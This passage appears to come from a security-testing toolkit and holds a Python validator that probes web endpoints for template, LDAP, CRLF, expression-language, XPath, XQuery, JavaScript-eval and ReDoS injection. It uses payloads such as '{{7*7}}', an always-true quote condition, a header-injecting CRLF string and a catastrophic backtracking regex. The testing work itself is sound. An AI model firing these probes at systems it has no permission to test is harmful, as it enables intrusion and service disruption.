    for i, p in enumerate(list(ldap_payloads())[:5], 1):
        print(f"  {i}. {p['payload']} ({p['type']})")

    print("\nCRLF Payloads:")
    for i, p in enumerate(list(crlf_payloads())[:5], 1):
        print(f"  {i}. {p['payload']} ({p['description']})")

    print("\nEL Payloads:")
    for i, p in enumerate(list(el_payloads())[:5], 1):
        print(f"  {i}. {p['payload']} ({p['framework']})")

```

### reference/validate_injection.py

```python
"""
Miscellaneous injection validation script.

This module covers injection types NOT handled by dedicated skills:
- SQL Injection -> sql-injection-testing
- NoSQL Injection -> nosql-injection-testing
- XSS -> xss-testing
- XXE -> xxe-testing
- Command Injection -> command-injection-testing

CWE Coverage: CWE-1336, CWE-90, CWE-643, CWE-652, CWE-93, CWE-113,
              CWE-917, CWE-1333, CWE-1236, CWE-94, CWE-95
"""

import hashlib
import json
import time
from dataclasses import dataclass, field
from typing import Any, Optional
from urllib.parse import urljoin

# Type hints for requests (not imported to avoid dependency)


@dataclass
class InjectionTestResult:
    """Result of an injection test."""

    status: str  # VALIDATED, FALSE_POSITIVE, PARTIAL, UNVALIDATED
    injection_type: str
    cwe: str
    payload_used: str
    evidence: str
    test_details: dict = field(default_factory=dict)

    def to_dict(self) -> dict:
        return {
            "status": self.status,
            "injection_type": self.injection_type,
            "cwe": self.cwe,
            "payload_used": self.payload_used,
            "evidence": self.evidence,
            "test": self.test_details,
        }


class InjectionValidator:
    """Validates miscellaneous injection vulnerabilities."""

    def __init__(
        self,
        base_url: str,
        timeout: int = 10,
        verify_ssl: bool = True,
    ):
        self.base_url = base_url.rstrip("/")
        self.timeout = timeout
        self.verify_ssl = verify_ssl

    def _make_request(
        self,
        method: str,
        endpoint: str,
        params: Optional[dict] = None,
        data: Optional[dict] = None,
        headers: Optional[dict] = None,
    ) -> tuple[int, str, dict, float]:
        """Make HTTP request. Implement with actual HTTP client."""
        raise NotImplementedError("Implement with HTTP client library")

    def _hash_response(self, content: str) -> str:
        return f"sha256:{hashlib.sha256(content.encode()).hexdigest()[:16]}"

    def _truncate_snippet(self, content: str, max_len: int = 500) -> str:
        return content[:max_len] + "..." if len(content) > max_len else content

    def validate_ssti(
        self,
        endpoint: str,
        param: str,
        method: str = "GET",
    ) -> InjectionTestResult:
        """
        Validate Server-Side Template Injection.
        CWE-1336.
        """
        url = urljoin(self.base_url, endpoint)

        # Detection payloads by engine
        payloads = [
            ("{{7*7}}", "49", "jinja2/twig"),
            ("${7*7}", "49", "freemarker/thymeleaf"),
            ("#{7*7}", "49", "jsp_el"),
            ("<%= 7*7 %>", "49", "erb"),
            ("{7*7}", "49", "smarty"),
            ("{{7*'7'}}", "7777777", "jinja2"),
        ]

        for payload, expected, engine in payloads:
            try:
                if method.upper() == "GET":
                    params = {param: payload}
                    status_code, response_body, _, _ = self._make_request(
                        "GET", endpoint, params=params
                    )
                else:
                    data = {param: payload}
                    status_code, response_body, _, _ = self._make_request(
                        "POST", endpoint, data=data
                    )
            except Exception:
                continue

            if expected in response_body and payload not in response_body:
                return InjectionTestResult(
                    status="VALIDATED",
                    injection_type=f"ssti_{engine.split('/')[0]}",
                    cwe="CWE-1336",
                    payload_used=payload,
                    evidence=f"SSTI ({engine}): {payload} evaluated to {expected}",
                    test_details={
                        "url": url,
                        "param": param,
                        "engine": engine,
                        "response_snippet": self._truncate_snippet(response_body),
                    },
                )

        return InjectionTestResult(
            status="FALSE_POSITIVE",
            injection_type="ssti",
            cwe="CWE-1336",
            payload_used="multiple",
            evidence="No SSTI indicators - payloads rendered as literal text",
            test_details={"url": url, "param": param},
        )

    def validate_ldap(
        self,
        endpoint: str,
        param: str,
        method: str = "GET",
    ) -> InjectionTestResult:
        """
        Validate LDAP Injection.
        CWE-90.
        """
        url = urljoin(self.base_url, endpoint)

        # Get baseline with normal value
        try:
            if method.upper() == "GET":
                _, baseline_body, _, _ = self._make_request("GET", endpoint, params={param: "test"})
            else:
                _, baseline_body, _, _ = self._make_request("POST", endpoint, data={param: "test"})
            baseline_len = len(baseline_body)
        except Exception as e:
            return InjectionTestResult(
                status="UNVALIDATED",
                injection_type="ldap_injection",
                cwe="CWE-90",
                payload_used="",
                evidence=f"Baseline request failed: {str(e)}",
                test_details={"url": url, "error": str(e)},
            )

        # Test with wildcard
        try:
            if method.upper() == "GET":
                _, test_body, _, _ = self._make_request("GET", endpoint, params={param: "*"})
            else:
                _, test_body, _, _ = self._make_request("POST", endpoint, data={param: "*"})
            test_len = len(test_body)
        except Exception:
            return InjectionTestResult(
                status="UNVALIDATED",
                injection_type="ldap_injection",
                cwe="CWE-90",
                payload_used="*",
                evidence="Test request failed",
                test_details={"url": url},
            )

        # Check for significant content increase (wildcard returned more data)
        if test_len > baseline_len * 3:
            return InjectionTestResult(
                status="VALIDATED",
                injection_type="ldap_injection",
                cwe="CWE-90",
                payload_used="*",
                evidence=f"LDAP injection: wildcard returned {test_len} bytes vs {baseline_len}",
                test_details={
                    "url": url,
                    "param": param,
                    "baseline_length": baseline_len,
                    "test_length": test_len,
                },
            )

        return InjectionTestResult(
            status="FALSE_POSITIVE",
            injection_type="ldap_injection",
            cwe="CWE-90",
            payload_used="*",
            evidence="No LDAP injection indicators - wildcard treated as literal",
            test_details={"url": url, "param": param},
        )

    def validate_crlf(
        self,
        endpoint: str,
        param: str,
        method: str = "GET",
    ) -> InjectionTestResult:
        """
        Validate CRLF / HTTP Header Injection.
        CWE-93, CWE-113.
        """
        url = urljoin(self.base_url, endpoint)

        payloads = [
            ("%0d%0aX-Injected:true", "X-Injected"),
            ("%0aX-Injected:true", "X-Injected"),
            ("\r\nX-Injected:true", "X-Injected"),
        ]

        for payload, expected_header in payloads:
            try:
                if method.upper() == "GET":
                    _, _, response_headers, _ = self._make_request(
                        "GET", endpoint, params={param: payload}
                    )
                else:
                    _, _, response_headers, _ = self._make_request(
                        "POST", endpoint, data={param: payload}
                    )
            except Exception:
                continue

            # Check if our header was injected
            if expected_header.lower() in [h.lower() for h in response_headers.keys()]:
                return InjectionTestResult(
                    status="VALIDATED",
                    injection_type="crlf_header_injection",
                    cwe="CWE-113",
                    payload_used=payload,
                    evidence=f"CRLF injection: {expected_header} header injected",
                    test_details={
                        "url": url,
                        "param": param,
                        "injected_header": expected_header,
                        "response_headers": dict(response_headers),
                    },
                )

        return InjectionTestResult(
            status="FALSE_POSITIVE",
            injection_type="crlf_header_injection",
            cwe="CWE-113",
            payload_used="multiple",
            evidence="No CRLF injection - headers not injectable",
            test_details={"url": url, "param": param},
        )

    def validate_el(
        self,
        endpoint: str,
        param: str,
        method: str = "GET",
    ) -> InjectionTestResult:
        """
        Validate Expression Language Injection.
        CWE-917.
        """
        url = urljoin(self.base_url, endpoint)

        payloads = [
            ("${7*7}", "49", "spring/generic"),
            ("#{7*7}", "49", "jsp_el"),
            ("%{7*7}", "49", "ognl"),
        ]

        for payload, expected, framework in payloads:
            try:
                if method.upper() == "GET":
                    _, response_body, _, _ = self._make_request(
                        "GET", endpoint, params={param: payload}
                    )
                else:
                    _, response_body, _, _ = self._make_request(
                        "POST", endpoint, data={param: payload}
                    )
            except Exception:
                continue

            if expected in response_body and payload not in response_body:
                return InjectionTestResult(
                    status="VALIDATED",
                    injection_type=f"el_injection_{framework.split('/')[0]}",
                    cwe="CWE-917",
                    payload_used=payload,
                    evidence=f"EL injection ({framework}): {payload} evaluated to {expected}",
                    test_details={
                        "url": url,
                        "param": param,
                        "framework": framework,
                        "response_snippet": self._truncate_snippet(response_body),
                    },
                )

        return InjectionTestResult(
            status="FALSE_POSITIVE",
            injection_type="el_injection",
            cwe="CWE-917",
            payload_used="multiple",
            evidence="No EL injection indicators",
            test_details={"url": url, "param": param},
        )

    def validate_redos(
        self,
        endpoint: str,
        pattern_param: str,
        input_param: str,
        method: str = "GET",
    ) -> InjectionTestResult:
        """
        Validate ReDoS (Regex Denial of Service).
        CWE-1333.
        """
        url = urljoin(self.base_url, endpoint)

        # Get baseline
        try:
            start = time.time()
            if method.upper() == "GET":
                self._make_request(
                    "GET", endpoint, params={pattern_param: "test", input_param: "test"}
                )
            baseline_time = time.time() - start
        except Exception as e:
            return InjectionTestResult(
                status="UNVALIDATED",
                injection_type="redos",
                cwe="CWE-1333",
                payload_used="",
                evidence=f"Baseline failed: {str(e)}",
                test_details={"url": url},
            )

        # Evil pattern
        evil_pattern = "(a+)+$"
        evil_input = "a" * 25 + "!"

        try:
            start = time.time()
            if method.upper() == "GET":
                self._make_request(
                    "GET",
                    endpoint,
                    params={pattern_param: evil_pattern, input_param: evil_input},
                )
            test_time = time.time() - start
        except Exception:
            test_time = self.timeout  # Timeout indicates possible ReDoS

        delay = test_time - baseline_time
        if delay >= 3.0:  # 3+ second delay
            return InjectionTestResult(
                status="VALIDATED",
                injection_type="redos",
                cwe="CWE-1333",
                payload_used=evil_pattern,
                evidence=f"ReDoS: {delay:.1f}s delay with catastrophic backtracking pattern",
                test_details={
                    "url": url,
                    "pattern": evil_pattern,
                    "input_length": len(evil_input),
                    "baseline_time_ms": int(baseline_time * 1000),
                    "test_time_ms": int(test_time * 1000),
                },
            )

        return InjectionTestResult(
            status="FALSE_POSITIVE",
            injection_type="redos",
            cwe="CWE-1333",
            payload_used=evil_pattern,
            evidence="No ReDoS - regex engine handles pattern efficiently",
            test_details={"url": url},
        )

    def validate_xpath(
        self,
        endpoint: str,
        param: str,
        method: str = "GET",
    ) -> InjectionTestResult:
        """
        Validate XPath Injection.
        CWE-643.
        """
        url = urljoin(self.base_url, endpoint)

        # Get baseline
        try:
            if method.upper() == "GET":
                _, baseline_body, _, _ = self._make_request("GET", endpoint, params={param: "test"})
            baseline_len = len(baseline_body)
        except Exception as e:
            return InjectionTestResult(
                status="UNVALIDATED",
                injection_type="xpath_injection",
                cwe="CWE-643",
                payload_used="",
                evidence=f"Baseline failed: {str(e)}",
                test_details={"url": url},
            )

        # Boolean bypass
        payload = "' or '1'='1"
        try:
            if method.upper() == "GET":
                _, test_body, _, _ = self._make_request("GET", endpoint, params={param: payload})
            test_len = len(test_body)
        except Exception:
            return InjectionTestResult(
                status="UNVALIDATED",
                injection_type="xpath_injection",
                cwe="CWE-643",
                payload_used=payload,
                evidence="Test request failed",
                test_details={"url": url},
            )

        if test_len > baseline_len * 2:
            return InjectionTestResult(
                status="VALIDATED",
                injection_type="xpath_injection",
                cwe="CWE-643",
                payload_used=payload,
                evidence=f"XPath injection: boolean bypass returned {test_len} vs {baseline_len} bytes",
                test_details={
                    "url": url,
                    "param": param,
                    "baseline_length": baseline_len,
                    "test_length": test_len,
                },
            )

        return InjectionTestResult(
            status="FALSE_POSITIVE",
            injection_type="xpath_injection",
            cwe="CWE-643",
            payload_used=payload,
            evidence="No XPath injection indicators",
            test_details={"url": url, "param": param},
        )

    def validate_xquery(
        self,
        endpoint: str,
        param: str,
        method: str = "GET",
    ) -> InjectionTestResult:
        """
        Validate XQuery Injection.
        CWE-652.
        """
        url = urljoin(self.base_url, endpoint)

        # Get baseline
        try:
            if method.upper() == "GET":
                _, baseline_body, _, _ = self._make_request("GET", endpoint, params={param: "test"})
            else:
                _, baseline_body, _, _ = self._make_request("POST", endpoint, data={param: "test"})
            baseline_len = len(baseline_body)
        except Exception as e:
            return InjectionTestResult(
                status="UNVALIDATED",
                injection_type="xquery_injection",
                cwe="CWE-652",
                payload_used="",
                evidence=f"Baseline failed: {str(e)}",
                test_details={"url": url},
            )

        payloads = ["' or '1'='1", "') or ('1'='1"]

        for payload in payloads:
            try:
                if method.upper() == "GET":
                    _, test_body, _, _ = self._make_request(
                        "GET", endpoint, params={param: payload}
                    )
                else:
                    _, test_body, _, _ = self._make_request("POST", endpoint, data={param: payload})
                test_len = len(test_body)
            except Exception:
                continue

            if test_len > baseline_len * 2:
                return InjectionTestResult(
                    status="VALIDATED",
                    injection_type="xquery_injection",
                    cwe="CWE-652",
                    payload_used=payload,
                    evidence=f"XQuery injection: boolean bypass returned {test_len} vs {baseline_len} bytes",
                    test_details={
                        "url": url,
                        "param": param,
                        "baseline_length": baseline_len,
                        "test_length": test_len,
                    },
                )

        return InjectionTestResult(
            status="FALSE_POSITIVE",
            injection_type="xquery_injection",
            cwe="CWE-652",
            payload_used="multiple",
            evidence="No XQuery injection indicators",
            test_details={"url": url, "param": param},
        )

    def validate_js_eval(
        self,
        endpoint: str,
        param: str,
        method: str = "GET",
    ) -> InjectionTestResult:
        """
        Validate JSON/JavaScript eval injection.

        CWE-95 (Eval Injection) and CWE-94 (Code Injection).
        """
        url = urljoin(self.base_url, endpoint)

        payloads = [
            ("7*7", "49"),
            ("Math.imul(7,7)", "49"),
            ("['a','b'].length", "2"),
        ]

        for payload, expected in payloads:
            try:
                if method.upper() == "GET":
                    _, response_body, _, _ = self._make_request(
                        "GET", endpoint, params={param: payload}
                    )
                else:
                    _, response_body, _, _ = self._make_request(
                        "POST", endpoint, data={param: payload}
                    )
            except Exception:
                continue

            if expected in response_body and payload not in response_body:
                return InjectionTestResult(
                    status="VALIDATED",
                    injection_type="js_eval_injection",
                    cwe="CWE-95",
                    payload_used=payload,
                    evidence=f"JavaScript eval injection: {payload} evaluated to {expected}",
                    test_details={
                        "url": url,
                        "param": param,
                        "response_snippet": self._truncate_snippet(response_body),
                    },
                )

        return InjectionTestResult(
            status="FALSE_POSITIVE",
            injection_type="js_eval_injection",
            cwe="CWE-95",
            payload_used="multiple",
            evidence="No JavaScript eval injection indicators",
            test_details={"url": url, "param": param},
        )


def validate_from_vulnerabilities(vulns_file: str, base_url: str) -> list[dict[str, Any]]:
    """Validate injection findings from VULNERABILITIES.json."""
    with open(vulns_file) as f:
        vulns = json.load(f)

    validator = InjectionValidator(base_url)
    results = []

    # Map CWEs to validation methods
    cwe_validators = {
        "CWE-1336": validator.validate_ssti,
        "CWE-90": validator.validate_ldap,
        "CWE-643": validator.validate_xpath,
        "CWE-652": validator.validate_xquery,
        "CWE-93": validator.validate_crlf,
        "CWE-113": validator.validate_crlf,
        "CWE-917": validator.validate_el,
        "CWE-94": validator.validate_js_eval,
        "CWE-95": validator.validate_js_eval,
        "CWE-1333": validator.validate_redos,
    }

    for vuln in vulns:
        cwe = vuln.get("cwe")
        if cwe in cwe_validators:
            endpoint = vuln.get("endpoint", "/")
            param = vuln.get("param", "input")
            result = cwe_validators[cwe](endpoint, param)
            results.append(result.to_dict())

    return results


if __name__ == "__main__":
    print("Injection Validator - Example Usage")
    print("=" * 50)
    print(
        """
from validate_injection import InjectionValidator

validator = InjectionValidator("http://target.com")

# Test SSTI
result = validator.validate_ssti("/greet", "name")
print(result.to_dict())

# Test LDAP injection
result = validator.validate_ldap("/search", "user")
print(result.to_dict())

# Test CRLF injection
result = validator.validate_crlf("/redirect", "url")
print(result.to_dict())

# Test EL injection
result = validator.validate_el("/page", "input")
print(result.to_dict())

# Test XPath injection
result = validator.validate_xpath("/user", "name")
print(result.to_dict())

# Test ReDoS
result = validator.validate_redos("/search", "pattern", "text")
print(result.to_dict())
    """
    )

```